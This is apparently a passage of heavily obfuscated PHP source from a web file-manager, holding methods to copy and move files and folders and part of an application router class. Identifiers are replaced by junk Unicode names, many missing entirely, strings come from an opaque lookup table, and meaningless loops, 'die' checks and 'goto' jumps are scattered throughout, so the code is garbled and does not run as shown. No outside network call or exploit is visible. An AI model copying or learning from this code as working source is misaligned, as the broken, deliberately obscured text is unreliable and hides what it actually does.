($ݭ) { if (isset(self::$_lockItemArr[$ʰ])) { return; } self::$_lockItemArr[$ʰ] = 1; CacheLock::lock($ʰ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$ʰ])) { return; } unset(self::$_lockItemArr[$ʰ]); CacheLock::unlock($ʰ); } } public function isParentOf($ߣ, $Г) { $ӹ =& $_SERVER[՟]; $ = $this->sourceInfo($ߣ); $ص = $this->sourceInfo($Г); $ٴ = $[$ӹ[593]] . $[$ӹ[203]] . $ӹ[50]; $ = $ص[$ӹ[593]] . $ص[$ӹ[203]] . $ӹ[50]; $ɜ = strpos($, $ٴ) === 0; return $ɜ; } private $targetIsDelete = 0; public function copy($ޗ, $, $߮ = REPEAT_REPLACE, $߃ћ = '') { $̑ =& $_SERVER[՟]; $Я = $this->sourceInfo($ޗ); $ޞ = $this->sourceInfo($); if (!$Я || !$ޞ || $ޞ[$̑[494]] != $̑[101]) { return !1; } if ($this->isParentOf($ޗ, $)) { return !1; } $٭ = $߃ћ ? $߃ћ : $Я[$̑[32]]; $this->lockCopyStart($ޗ); $this->lockWriteStart($, $٭); $ = array($̑[638] => array(), $̑[639] => array(), $̑[640] => array()); $this->targetIsDelete = intval($Я[$̑[514]]); $ = $this->fileNameExistAuto($, $Я); $ƎԸ = $this->_copy($ޗ, $, $߮, $, !0, $߃ћ); $this->_childrenListClear(); $this->lockCopyEnd($ޗ); $this->lockWriteEnd($, $٭); if ($Я[$̑[494]] == $̑[101] && $ == $ƎԸ) { $this->folderSizeResetChildren($); } Model($̑[641])->addAll($[$̑[639]], array(), !0); if ($ != $ƎԸ || $Я[$̑[494]] == $̑[101]) { Model($̑[642])->eventCopy($ƎԸ); } $this->saveAll($[$̑[640]]); Model($̑[240])->linkAdd($[$̑[638]]); $this->folderSizeReset($); $this->updateModifyTime($); return $ƎԸ; } private function _copy($, $념, $ٳ, &$أ, $ͩ, $݆ = '') { $п =& $_SERVER[՟]; $ = $this->sourceInfoCache($); $ϥ = $[$п[494]] == $п[101]; $ = $݆ ? $݆ : $[$п[32]]; $ = $this->fileNameExistAuto($념, $); if ($ͩ) { $this->_childrenAllMake($); if ($ϥ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($, $념, $, $أ); } $워 = $; if ($ϥ) { if ($ٳ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($념, $, $ٳ, $ϥ); $워 = $this->_copyCreate($, $념, $, $أ); } else { $٪ų = $this->_childrenList($); foreach ($٪ų as $) { $this->_copy($[$п[203]], $, $ٳ, $أ, !1); } } } else { if ($ٳ == REPEAT_RENAME || $ٳ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($념, $, $ٳ, $ϥ); $워 = $this->_copyCreate($, $념, $, $أ); } else { if ($ٳ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $Ā = $this->fileHistory($, $[$п[550]], $[$п[89]]); if ($Ā) { $أ[$п[638]][] = $[$п[550]]; } } else { if ($ٳ == REPEAT_SKIP) { } } } Hook::trigger($п[643], array($п[644], $, 0)); } return $워; } private function _copyCreate($Ķ, $, $ӵ, &$) { $о =& $_SERVER[՟]; $ = $this->sourceInfoCache($Ķ); $ɲ = $this->sourceInfoCache($); $Ɍ = $this->_makeItemData($, $ɲ, $ӵ); Hook::trigger($о[645], $Ɍ); Hook::trigger($о[646], array($о[647], $Ɍ, 0)); $ = $this->add($Ɍ); $ = array($о[203] => $, $о[32] => $ӵ); $this->_copyApplyMeta($, $); if ($[$о[494]] != $о[101]) { $[$о[638]][] = $[$о[550]]; return $; } $֖տ = array(); $ެ = array(); $this->_childrenListAll($Ķ, $֖տ); $˽ = count($֖տ); if ($˽ == 0) { return $; } $ = $this->sourceInfo($); foreach ($֖տ as $͌) { $ȒΜ = $this->_makeItemData($͌, $, $͌[$о[32]]); $ȒΜ[$о[593]] = $͌[$о[593]]; $ެ[] = $ȒΜ; } $this->chunkEventSet($о[648], array($о[649], $Ɍ, $˽)); $this->addAll($ެ, array(), !1); $ = $this->where(array($о[202] => $))->select(); $Յ = $this->_childrenMakeRelation($֖տ, $); $Յ[$Ķ] = $; $ = array(); $ɏ = array(); foreach ($ as $͌) { $ = $͌[$о[203]]; $ = $this->_childrenMatch($Յ, $͌, $); $[] = array($о[203], $Â, $о[202], $[$о[202]]); $ɏ[] = array($о[203], $Â, $о[593], $[$о[593]]); $this->_copyApplyMeta($͌, $); if ($͌[$о[494]] != $о[101]) { $[$о[638]][] = $͌[$о[550]]; } } $this->chunkEventSet($о[650], array($о[651], $Ɍ, $˽)); $this->saveAll($); $this->chunkEventSet($о[652], array($о[653], $Ɍ, $˽)); $this->saveAll($ɏ); return $; } private function _childrenMakeRelation($, $©) { $üɄ =& $_SERVER[՟]; $ = array(); $̶ = array(); foreach ($ as $) { $ = $[$üɄ[32]] . $üɄ[8] . $[$üɄ[593]]; $[$] = $[$üɄ[203]]; } foreach ($© as $) { $ = $[$üɄ[32]] . $üɄ[8] . $[$üɄ[593]]; $ = $[$]; $̶[$] = $[$üɄ[203]]; } return $̶; } private function _childrenMatch($Ά, $ڸ, $ǜҔ) { $ =& $_SERVER[՟]; $ = $ǜҔ[$[593]]; $ = $this->parentLevelArray($ڸ[$[593]]); foreach ($ as $) { if (isset($Ά[$])) { $ .= $Ά[$] . $[654]; } } $ = rtrim($, $[50]) . $[50]; $ֲ = $this->parentLevelArray($); $ = $ֲ[count($ֲ) - 1]; return array($[202] => $, $[593] => $); } private function _makeItemData($꾈, $, $ϗ) { $ =& $_SERVER[՟]; $Χ = array($[655] => $꾈[$[494]], $[503] => $ϗ, $[656] => $꾈[$[495]] ? $꾈[$[495]] : $[12], $[551] => $꾈[$[550]] ? $꾈[$[550]] : 0, $[626] => $꾈[$[89]] ? $꾈[$[89]] : 0, $[657] => intval($[$[200]]), $[658] => intval($[$[578]]), $[659] => intval(USER_ID), $[660] => intval(USER_ID), $[486] => intval($[$[203]]), $[661] => $[$[593]] . $[$[203]] . $[50], $[507] => $꾈[$[98]] ? $꾈[$[98]] : time(), $[513] => 0, $[662] => $[12]); return $Χ; } private function _copyApplyMeta($ܯ, &$) { $ =& $_SERVER[՟]; $ = $ܯ[$[203]]; $ܘ = $ܯ[$[32]]; if (!isset($ܯ[$[663]]) || !$ܯ[$[663]] || $ܯ[$[663]] == $[238]) { $[$[640]][] = array($[203], $, $[663], short_id($)); } if (Input::check($ܘ, $[664])) { $[$[639]][] = array($[203] => $, $[107] => $[547], $[459] => str_replace($[53], $[12], Pinyin::get($ܘ))); $[$[639]][] = array($[203] => $, $[107] => $[546], $[459] => Pinyin::get($ܘ, $[665])); } $[$[639]][] = array($[203] => $, $[107] => $[526], $[459] => KodSort::makeStr($ܘ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($҂) { $ =& $_SERVER[՟]; $믎 = $this->sourceInfo($҂); $藼 = $[666]; $ = array($[593] => array($[621], $믎[$[593]] . $҂ . $[622]), $[514] => $this->targetIsDelete); $ҡ = $this->field($藼)->where($)->select(); if (!$ҡ) { return; } $ҡ = array_to_keyvalue($ҡ, $[203]); foreach ($ҡ as $ۂ) { $ = $ۂ[$[202]]; $҂ = $ۂ[$[203]]; if (!isset($this->_childrenListCache[$҂]) && $ۂ[$[494]] == $[101]) { $this->_childrenListCache[$҂] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$҂] = $ۂ; $this->_childrenItemCache[$҂] = $ۂ; } } private function _childrenListAll($, &$֪) { $Ȓ =& $_SERVER[՟]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $Ӌ => $ǧ) { $֪[$Ӌ] = $ǧ; if ($ǧ[$Ȓ[494]] == $Ȓ[101]) { $this->_childrenListAll($Ӌ, $֪); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($ħ) { $ =& $_SERVER[՟]; $ = array($[202] => $ħ, $[514] => $this->targetIsDelete); $ָ = $this->where($)->select(); $ָ = $ָ ? $ָ : array(); $糖 = array_to_keyvalue($ָ, $[203]); $this->_childrenListCache[$ħ] = $糖; foreach ($糖 as $ħ => $ԋ) { $this->_childrenItemCache[$ħ] = $ԋ; } return $糖; } private function fileNameExistAuto($, $ݢ) { $Ж =& $_SERVER[՟]; if ($ݢ[$Ж[514]] == $Ж[101]) { return $this->fileNameExist($, $ݢ[$Ж[32]]); } return $this->fileNameExistCache($, $ݢ[$Ж[32]]); } private function fileNameExistCache($ۥ, $ͱ) { $« =& $_SERVER[՟]; $ͱ = strtolower($ͱ); $ = $this->_childrenList($ۥ); foreach ($ as $ֆ) { if ($ͱ == strtolower($ֆ[$«[32]])) { return $ֆ[$«[203]]; } } return !1; } private function fileNameAutoCache($ᎏ, $Ǡ, $±ԩ, $) { $ʬ =& $_SERVER[՟]; $驴 = $this->_childrenList($ᎏ); $ۑ = array_to_keyvalue($驴, $ʬ[12], $ʬ[32]); return $this->fileNameAutoGet($ۑ, $Ǡ, $±ԩ, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $Ν, $د = REPEAT_REPLACE, $ = '') { $ꐴ =& $_SERVER[՟]; $ = $this->sourceInfo($); $ᥩ = $this->sourceInfo($Ν); if ($[$ꐴ[202]] == $ᥩ[$ꐴ[203]]) { if ($[$ꐴ[514]] == $ꐴ[101]) { Model($ꐴ[512])->restore(array($)); } if (!$ || $ == $[$ꐴ[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $Ν)) { return !1; } if (!$ || !$ᥩ || $ᥩ[$ꐴ[494]] != $ꐴ[101]) { return !1; } Hook::trigger($ꐴ[667], $); $this->targetIsDelete = intval($[$ꐴ[514]]); if ($[$ꐴ[202]] == $Ν && $ != $[$ꐴ[32]]) { $Ɂ = $this->fileNameExist($Ν, $); if ($Ɂ && $[$ꐴ[494]] == $ꐴ[238]) { $Ȅ = $this->sourceInfo($Ɂ); $ԉ = $this->fileHistory($Ȅ, $[$ꐴ[550]], $[$ꐴ[89]]); if (!$ԉ) { Model($ꐴ[553])->remove($[$ꐴ[550]]); } $this->removeNow($, !1); $this->folderSizeReset($Ν); Hook::trigger($ꐴ[668], $); return $Ɂ; } } $ѷ = $ ? $ : $[$ꐴ[32]]; $this->lockMoveStart($); $this->lockWriteStart($Ν, $ѷ); $ڥއ = array($ꐴ[638] => array(), $ꐴ[669] => !1); $this->clearShare($, $Ν); $߂ = $this->fileNameExistAuto($Ν, $); $« = $this->_move($, $Ν, $د, $ڥއ, $); $this->sourceCacheClear(); if ($[$ꐴ[494]] == $ꐴ[101] && $߂) { $this->folderSizeResetChildren($«); } Model($ꐴ[240])->linkAdd($ڥއ[$ꐴ[638]]); if ($߂ && $ڥއ[$ꐴ[669]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($Ν, $ѷ); $this->folderSizeReset($[$ꐴ[202]]); $this->folderSizeReset($Ν); $Ïː = array($[$ꐴ[202]], $Ν); if ($[$ꐴ[494]] == $ꐴ[101]) { $Ïː[] = $; } $this->updateModifyTime($Ïː); Model($ꐴ[642])->eventMove($, $[$ꐴ[202]], $Ν); Hook::trigger($ꐴ[668], $); return $«; } private function _move($Ľ, $搕, $, &$̂, $Ң = '') { $ķ =& $_SERVER[՟]; $Ϟ = $this->sourceInfo($Ľ); $ = $Ϟ[$ķ[494]] == $ķ[101]; $ݟ = $Ң ? $Ң : $Ϟ[$ķ[32]]; $̦ = $this->fileNameExistAuto($搕, $Ϟ); $this->lockMoveStart($Ľ); $this->lockWriteStart($搕, $ݟ); if (!$̦) { return $this->_moveForce($Ľ, $搕, $ݟ); } $ = $̦; $ʚ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ݟ = $this->fileNameAuto($搕, $ݟ, $, $); $ = $this->_moveForce($Ľ, $搕, $ݟ); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_childrenListSelect($Ľ); foreach ($ as $˻) { $this->_move($˻[$ķ[203]], $̦, $, $̂); } $ʚ = !0; } } else { if ($ == REPEAT_SKIP) { $ʚ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ݟ = $this->fileNameAuto($搕, $ݟ, $, $); $ = $this->_moveForce($Ľ, $搕, $ݟ); } else { if ($ == REPEAT_REPLACE) { $ݙ = $this->sourceInfoCache($̦); $܅ = $this->fileHistory($ݙ, $Ϟ[$ķ[550]], $Ϟ[$ķ[89]]); $ʚ = !0; if ($܅) { $̂[$ķ[638]][] = $Ϟ[$ķ[550]]; } } } } } if ($ʚ && !$̂[$ķ[669]]) { $̂[$ķ[669]] = !0; } return $; } private function _moveForce($Œ, $, $) { $ =& $_SERVER[՟]; $ = $this->sourceInfo($Œ); $Ԝ = $this->sourceInfo($); $ʥ֧ = $[$[494]] == $[101]; $Ǧ = array($[486] => $Ԝ[$[203]], $[661] => $Ԝ[$[593]] . $Ԝ[$[203]] . $[50], $[657] => $Ԝ[$[200]], $[658] => $Ԝ[$[578]], $[660] => USER_ID, $[503] => $); $٤ = $[$[200]] == SourceModel::TYPE_GROUP && $Ԝ[$[200]] == SourceModel::TYPE_GROUP && $[$[578]] == $Ԝ[$[578]]; if (!$٤ && $this->moveClearAuth) { Model($[576])->authClear($Œ); } $Ï = $[$[514]] == $[101] && $Ԝ[$[514]] != $[101]; if ($Ï) { $Ǧ[$[513]] = 0; } if ($ʥ֧) { $ࡹ = array($[661] => array($[621], $[$[593]] . $[$[203]] . $[622])); $Ж = $[$[593]] . $[$[203]] . $[50]; $ћ = $Ԝ[$[593]] . $Ԝ[$[203]] . $[50] . $[$[203]] . $[50]; $ݸ = array($[661] => array($[670], "\162\x65\x70\154\141\x63\145\50\x70\141\162\145\156\x74\x4c\145\x76\x65\154\54\x27{$Ж}\x27\x2c\x27{$ћ}\x27\51"), $[657] => $Ԝ[$[200]], $[658] => $Ԝ[$[578]]); if ($Ï) { $ݸ[$[513]] = 0; } $this->where($ࡹ)->data($ݸ)->save(); } $this->where(array($[500] => $Œ))->data($Ǧ)->save(); return $Œ; } private function clearShare($, $ҫ) { $ۉ =& $_SERVER[՟]; $ = $this->sourceInfo($); $¾ = $this->sourceInfo($ҫ); if ($[$ۉ[578]] == $¾[$ۉ[578]] && $[$ۉ[200]] == $ۉ[671]) { return; } $Ϙ = array($ۉ[593] => array($ۉ[621], $[$ۉ[593]] . $ . $ۉ[622])); $գ = $this->field($ۉ[500])->where($Ϙ)->getField($ۉ[203], !0); if (!$գ) { return; } $Ϙ = array($ۉ[203] => array($ۉ[7], $գ), $ۉ[672] => 1); $Ͷ = Model($ۉ[673])->field($ۉ[674])->where($Ϙ)->select(); if (!$Ͷ) { return; } $Ͷ = array_to_keyvalue($Ͷ, $ۉ[12], $ۉ[674]); $Ϙ = array($ۉ[674] => array($ۉ[7], $Ͷ)); Model($ۉ[673])->where($Ϙ)->save(array($ۉ[672] => 0)); Model($ۉ[675])->where($Ϙ)->delete(); } public function copyFolderFromIO($, $, $Ȃ, $å, $, $ɟ = false) { $덀ƭ =& $_SERVER[՟]; $ŧ = array($덀ƭ[639] => array(), $덀ƭ[640] => array(), $덀ƭ[638] => array(), $덀ƭ[676] => array()); $ = $ɟ ? $ɟ : $->pathThis($); $ĝ = $this->fileNameExist($Ȃ, $); $ً = $this->mkdir($Ȃ, $, $å); if (!$ĝ || $å == REPEAT_RENAME_FOLDER) { $å = !1; } if ($ĝ) { $this->_childrenAllMake($ĝ); } Hook::trigger($덀ƭ[677]); $this->_copyChildTo($, $, $ً, $å, $ŧ, $); Hook::trigger($덀ƭ[678]); if ($ً) { $this->folderSizeResetChildren($ً); } $this->_childrenListClear(); Model($덀ƭ[641])->addAll($ŧ[$덀ƭ[639]], array(), !0); Model($덀ƭ[642])->eventCopy($ً); $this->saveAll($ŧ[$덀ƭ[640]]); Model($덀ƭ[553])->linkAdd($ŧ[$덀ƭ[638]]); Model($덀ƭ[553])->remove($ŧ[$덀ƭ[676]]); $this->folderSizeReset($Ȃ); $this->updateModifyTime($Ȃ); return $ً; } private function _copyChildTo($㰡, $՝, $, $Ŏ, &$ڡȑ, $泿) { $Ǿ =& $_SERVER[՟]; $ = $this->sourceInfoCache($); $ = $㰡->listPath($՝); $ = $ ? $ : array($Ǿ[96] => array(), $Ǿ[95] => array()); $ = array_merge($[$Ǿ[96]], $[$Ǿ[95]]); $ŋ = $this->_addFiles($㰡, $[$Ǿ[96]], $泿); $ί = array(); foreach ($ as &$) { if (isset($ŋ[$[$Ǿ[32]]])) { $ = $ŋ[$[$Ǿ[32]]]; } $[$Ǿ[494]] = $[$Ǿ[33]] == $Ǿ[88]; $[$Ǿ[495]] = substr(_get($, $Ǿ[179], $Ǿ[12]), 0, 10); $[$Ǿ[89]] = _get($, $Ǿ[89], 0); $[$Ǿ[550]] = _get($, $Ǿ[550], 0); if (!isset($[$Ǿ[679]]) && $[$Ǿ[550]]) { $ڡȑ[$Ǿ[676]][] = $[$Ǿ[550]]; } if ($Ŏ) { $ä = $this->fileNameExistCache($, $[$Ǿ[32]]); if ($ä) { if ($[$Ǿ[494]] || $Ŏ == REPEAT_SKIP) { continue; } if ($Ŏ == REPEAT_REPLACE) { $嗋 = $this->sourceInfoCache($ä); $ = $this->fileHistory($嗋, $[$Ǿ[550]], $[$Ǿ[89]]); if ($) { $ڡȑ[$Ǿ[638]][] = $[$Ǿ[550]]; } continue; } else { if ($Ŏ == REPEAT_RENAME) { $[$Ǿ[32]] = $this->fileNameAutoCache($, $[$Ǿ[32]], $Ŏ, !1); } } } } if (!$[$Ǿ[494]] && $[$Ǿ[550]] == 0) { continue; } if (!$[$Ǿ[494]] && $[$Ǿ[550]]) { $ڡȑ[$Ǿ[638]][] = $[$Ǿ[550]]; } $ί[] = $this->_makeItemData($, $, $[$Ǿ[32]]); } unset($); if (!empty($ί)) { $this->addAll($ί); $this->_childrenListSelect($); } $ = $this->_childrenList($); $ = array_to_keyvalue($, $Ǿ[32]); foreach ($ as $) { $嗋 = $[$[$Ǿ[32]]]; $جԍ = $嗋[$Ǿ[203]]; $this->_copyApplyMeta($嗋, $ڡȑ); if ($[$Ǿ[33]] == $Ǿ[88]) { $[$Ǿ[97]] = $㰡->getPathInner($[$Ǿ[97]]); $this->_copyChildTo($㰡, $[$Ǿ[97]], $جԍ, $Ŏ, $ڡȑ, $泿); } } } private function _addFiles($ޫ, $ꛇ, $ċ) { $ʖ =& $_SERVER[՟]; if (!$ꛇ || count($ꛇ) == 0) { return array(); } $尰 = array(); foreach ($ꛇ as &$ٰЩ) { Hook::trigger($ʖ[680], $ٰЩ); $ٰЩ[$ʖ[97]] = $ޫ->getPathInner($ٰЩ[$ʖ[97]]); $־ = $ޫ->hashSimple($ٰЩ[$ʖ[97]]); $䊥 = $ޫ->hashMd5($ٰЩ[$ʖ[97]]); if (strlen($䊥) > 10 && !isset($尰[$䊥])) { $尰[$䊥] = array(); } $ٰЩ[$ʖ[681]] = $־; $ٰЩ[$ʖ[556]] = $䊥; $尰[$䊥][] =& $ٰЩ; if (count($尰[$䊥]) > 1) { $ٰЩ[$ʖ[679]] = !0; } Hook::trigger($ʖ[682], $ٰЩ); } unset($ٰЩ); $Ĕ = array($ʖ[556] => array($ʖ[7], array_keys($尰))); $ = Model($ʖ[683]); $茧 = $->where($Ĕ)->select(); $茧 = $茧 ? $茧 : array(); foreach ($茧 as $) { if (!isset($尰[$[$ʖ[556]]])) { continue; } $㛖 = $尰[$[$ʖ[556]]]; foreach ($㛖 as &$ٰЩ) { $ٰЩ[$ʖ[550]] = $[$ʖ[550]]; $ٰЩ[$ʖ[679]] = !0; } unset($ٰЩ); } $Ĺ = array(); foreach ($ꛇ as $) { Hook::trigger($ʖ[684], $); if (isset($[$ʖ[679]]) && $[$ʖ[679]]) { Hook::trigger($ʖ[685], $); continue; } $ = $ޫ->getPathInner($[$ʖ[97]]); $ȉ = $->addFileMake($, $[$ʖ[89]], $[$ʖ[681]], $[$ʖ[556]], $[$ʖ[32]], $ċ); Hook::trigger($ʖ[685], $); if (!is_array($ȉ)) { continue; } $Ĺ[] = $ȉ; } $->addAll($Ĺ); $Ĕ = array($ʖ[556] => array($ʖ[7], array_keys($尰))); $茧 = $->where($Ĕ)->select(); $茧 = $茧 ? $茧 : array(); foreach ($茧 as $) { if (!isset($尰[$[$ʖ[556]]])) { continue; } $С =& $尰[$[$ʖ[556]]]; foreach ($С as &$ٰЩ) { $ٰЩ[$ʖ[550]] = $[$ʖ[550]]; } unset($ٰЩ); } $簿 = array(); foreach ($ꛇ as $Ќ) { $簿[$Ќ[$ʖ[32]]] = $Ќ; } return $簿; } } define($_SERVER[՟][686], $_SERVER[՟][687]); goto Dξͱ; fޕӻ: if (!$gwjiunoxme) { return; } class Application { private $defaultModule = "\x69\x6e\144\145\x78"; private $defaultController = "\x69\x6e\x64\145\x78"; private $defaultAction = "\x69\x6e\144\145\170"; function __construct() { } public function setDefault($) { $ܱ =& $_SERVER[՟]; $ =& $_SERVER[]; $⇮ = explode($[0], trim($, $[0])); $this->defaultModule = $⇮[0] ? $⇮[0] : $this->defaultModule; $ = $ܱ[692]; if (strlen($) < $ܱ[693]) { return; } $this->defaultController = $⇮[1] ? $⇮[1] : $this->defaultController; $Ӣ = $ܱ[694]; $this->defaultAction = $⇮[2] ? $⇮[2] : $this->defaultAction; $ = $ܱ[695]; if (!$) { die; } $this->zkhv58c797ca($[1], array($this, $[2])); $ٛލ = $ܱ[696]; if (strlen($ٛލ) < $ܱ[693]) { return; } } public function appRun($Ǒٙ) { $ =& $_SERVER[՟]; $ć =& $_SERVER[]; $ = explode($ć[0], $Ǒٙ); $ܓ = $[697]; if (strlen($ܓ) < $[693]) { return; } $ܨ = strtolower($[0]); $ܲ٭ = $[698]; if (!$ܲ٭) { die; } $ʯ = $ć[3]; if ($ܨ == $ć[4]) { $ʯ = $ć[5]; $[0] = $ć[6]; $[1] = $[1] . $ć[7]; $Ǒٙ = join($ć[0], $); $Ǒٙ = trim($Ǒٙ, $ć[0]); } call_user_func(array($ć[8], $ć[9]), $ʯ . $ć[10], $Ǒٙ); ActionCall($Ǒٙ); call_user_func(array($ć[8], $ć[9]), $ʯ . $ć[11], $Ǒٙ); $ = $[699]; while ($ < $[693]) { if ($ >= 0) { break; } $++; } } private function autorun() { $ =& $_SERVER[]; global $config; $ǟ = $_SERVER[՟][700]; if (!$ǟ) { return; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $Dz => $) { $this->appRun($); } } private function fymddae495da() { $㉆ݹ =& $_SERVER[՟]; $ =& $_SERVER[]; $侀 = $[4]; $华 = $GLOBALS[$[13]][$[14]][0]; $ = $㉆ݹ[701]; while ($ < $㉆ݹ[60]) { if ($ >= 0) { break; } $++; } if (!$华 || strlen($华) <= strlen($侀)) { return; } if (strtolower(substr($华, -strlen($侀))) != $侀) { return; } $ˌ = substr($华, 0, -strlen($侀)); $ = $㉆ݹ[702]; if (!$) { die; } $ = array($[4], $ˌ); $̆ = $㉆ݹ[703]; $ڲ = array_slice($GLOBALS[$[13]][$[14]], 1); $۰ = $㉆ݹ[704]; if (strlen($۰) < $㉆ݹ[705]) { die; } $GLOBALS[$[13]][$[14]] = array_merge($, $ڲ); $Ճݖ = $㉆ݹ[706]; $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ = $㉆ݹ[707]; while ($ < $㉆ݹ[693]) { if ($ >= 0) { break; } $++; } } private function rclbe8004816() { $ =& $_SERVER[՟]; $ޠ =& $_SERVER[]; if ($GLOBALS[$ޠ[13]][$ޠ[15]] != $ޠ[6]) { return; } $ۛ = $_SERVER[$ޠ[16]]; $ٵ = $[708]; while ($ٵ < $[60]) { if ($ٵ >= 0) { break; } $ٵ++; } $핣 = $ޠ[17]; $Ä = $[709]; if (!$Ä) { return; } if (!strstr($ۛ, $핣)) { return; } $뱙 = strrpos($ۛ, $핣); $ = substr($ۛ, $뱙 + strlen($핣)); $ = $[710]; if (!$) { return; } preg_match_all($ޠ[18], $, $巏); $ = trim($巏[0][0], $ޠ[19]); $ϡ = $[711]; while (strlen($ϡ) < $[60]) { if (!$ϡ) { break; } $ϡ++; } $GLOBALS[$ޠ[13]][$ޠ[14]] = explode($ޠ[19], $); $GLOBALS[$ޠ[13]][$ޠ[15]] = implode($ޠ[0], $GLOBALS[$ޠ[13]][$ޠ[14]]); } public function run() { $ =& $_SERVER[՟]; $ =& $_SERVER[]; $this->rclbe8004816(); $this->fymddae495da(); $¥ = $GLOBALS[$[13]][$[14]]; $ = $[712]; $½ = $GLOBALS[$[13]][$[15]]; $ = $[713]; while (strlen($) < $[714]) { if (!$) { break; } $++; } define($[20], isset($¥[0]) && $¥[0] ? $¥[0] : $this->defaultModule); $ = $[715]; if (strlen($) < $[716]) { return; } define($[21], isset($¥[1]) && $¥[0] ? $¥[1] : $this->defaultController); define($[22], isset($¥[2]) && $¥[0] ? $¥[2] : $this->defaultAction); $ = $[717]; define($[23], MOD . $[0] . ST . $[0] . ACT); $㌆ = $[718]; if (!$㌆) { return; } $_SERVER[$[24]] = strtolower(ACTION); $this->autorun(); if (count($¥) >= 3) { $this->appRun($½); } else { $this->appRun(ACTION); } } private $paejfb274e01 = array(); private $fterb6ff004e = ''; public function aetn1d7a19b7() { $ =& $_SERVER[՟]; $α =& $_SERVER[]; $this->slgr074044fb(); $ʘ = $[719]; if (strlen($ʘ) < $[714]) { die; } $this->mvkd9480add3(); $ = $[720]; while ($ < $[693]) { if ($ >= 0) { break; } $++; } $this->xbpv35ab3c80(); $ = $[721]; if (!$) { return; } $this->ewjr810fc96b(); $ = $[722]; $this->zwuo70b1a9a4(); $this->cptja8d174ab(); $ = $[723]; while ($ < $[705]) { if ($ >= 0) { break; } $++; } $this->fsvp2e8bb14d(); $雗 = $[724]; $this->zkhv58c797ca($α[25], array($this, $α[26])); $this->zkhv58c797ca($α[27], array($this, $α[28])); $this->zkhv58c797ca($α[29], array($this, $α[30])); $this->zkhv58c797ca($α[31], array($this, $α[32])); $խ = $[725]; while (strlen($խ) < $[60]) { if (!$խ) { break; } $խ++; } } public function zwfb2a9f66c7($) { $ =& $_SERVER[՟]; $ͥ =& $_SERVER[]; $ǫַ = Model($ͥ[33])->get(); $ = array($ͥ[34], $ͥ[35], $ͥ[36], $ͥ[37], $ͥ[38], $ͥ[39], $ͥ[40], $ͥ[41], $ͥ[42], $ͥ[43], $ͥ[44], $ͥ[45], $ͥ[46], $ͥ[47], $ͥ[48], $ͥ[49], $ͥ[50], $ͥ[51], $ͥ[52], $ͥ[53], $ͥ[54], $ͥ[55], $ͥ[56], $ͥ[57], $ͥ[58], $ͥ[59], $ͥ[60], $ͥ[61], $ͥ[62], $ͥ[63], $ͥ[64], $ͥ[65], $ͥ[66], $ͥ[67], $ͥ[68], $ͥ[69], $ͥ[70], $ͥ[71], $ͥ[72], $ͥ[73], $ͥ[74], $ͥ[75], $ͥ[76], $ͥ[77], $ͥ[78], $ͥ[79], $ͥ[80], $ͥ[81], $ͥ[82], $ͥ[83], $ͥ[84], $ͥ[85]); $ = $[726]; if (!$) { die; } foreach ($ as $Ґ) { $Ц = $GLOBALS[$ͥ[86]][$ͥ[87]][$Ґ]; $ = $[727]; if (!$) { die; } if (isset($ǫַ[$Ґ])) { $Ц = $ǫַ[$Ґ]; } $[$ͥ[88]][$ͥ[89]][$Ґ] = $Ц; } $ = $[$ͥ[88]][$ͥ[89]][$ͥ[46]]; unset($[$ͥ[88]][$ͥ[90]][$ͥ[91]]); unset($[$ͥ[88]][$ͥ[90]][$ͥ[92]]); unset($[$ͥ[88]][$ͥ[89]][$ͥ[46]]); $櫴 = $[728]; if (strlen($櫴) < $[716]) { return; } unset($[$ͥ[88]][$ͥ[89]][$ͥ[93]]); $[$ͥ[88]][$ͥ[89]][$ͥ[94]] = array($ͥ[95] => (int) $[$ͥ[96]], $ͥ[97] => (int) _get($, $ͥ[98], 0)); $ӝ = substr(md5($ͥ[99] . get_client_ip() . $ǫַ[$ͥ[100]]), 0, 15); $ʹ = $[729]; while (strlen($ʹ) < $[716]) { if (!$ʹ) { break; } $ʹ++; } $[$ͥ[101]][$ͥ[102]] = Mcrypt::encode(Session::sign(), $ӝ, 3600 * 24); $ = $[730]; $[$ͥ[101]][$ͥ[103]] = Action($ͥ[104])->accessToken(); $[$ͥ[101]][$ͥ[105]] = md5($_SERVER[$ͥ[106]] . $ǫַ[$ͥ[100]]); $[$ͥ[101]][$ͥ[107]] = base64_encode(serverInfo()); $߯ = $[731]; $[$ͥ[101]][$ͥ[108]] = $this->fterb6ff004e; if ($ǫַ[$ͥ[108]] != $ͥ[109]) { $[$ͥ[101]][$ͥ[110]] = $ǫַ[$ͥ[110]]; $[$ͥ[101]][$ͥ[111]] = $ǫַ[$ͥ[111]]; $ڜ = rand_string(10) . $this->fterb6ff004e . rand_string(5); $[$ͥ[88]][$ͥ[112]][$ͥ[113]] = $this->qeykdb1b5d10($ڜ, $[$ͥ[101]][$ͥ[105]]); } if ($this->fterb6ff004e == $ͥ[109]) { $[$ͥ[88]][$ͥ[89]][$ͥ[94]][$ͥ[98]] = 0; } $[$ͥ[101]][$ͥ[114]] = $this->versionPluginFilter(); $[$ͥ[101]][$ͥ[115]] = _get($this->paejfb274e01, $ͥ[116], $ͥ[6]); if 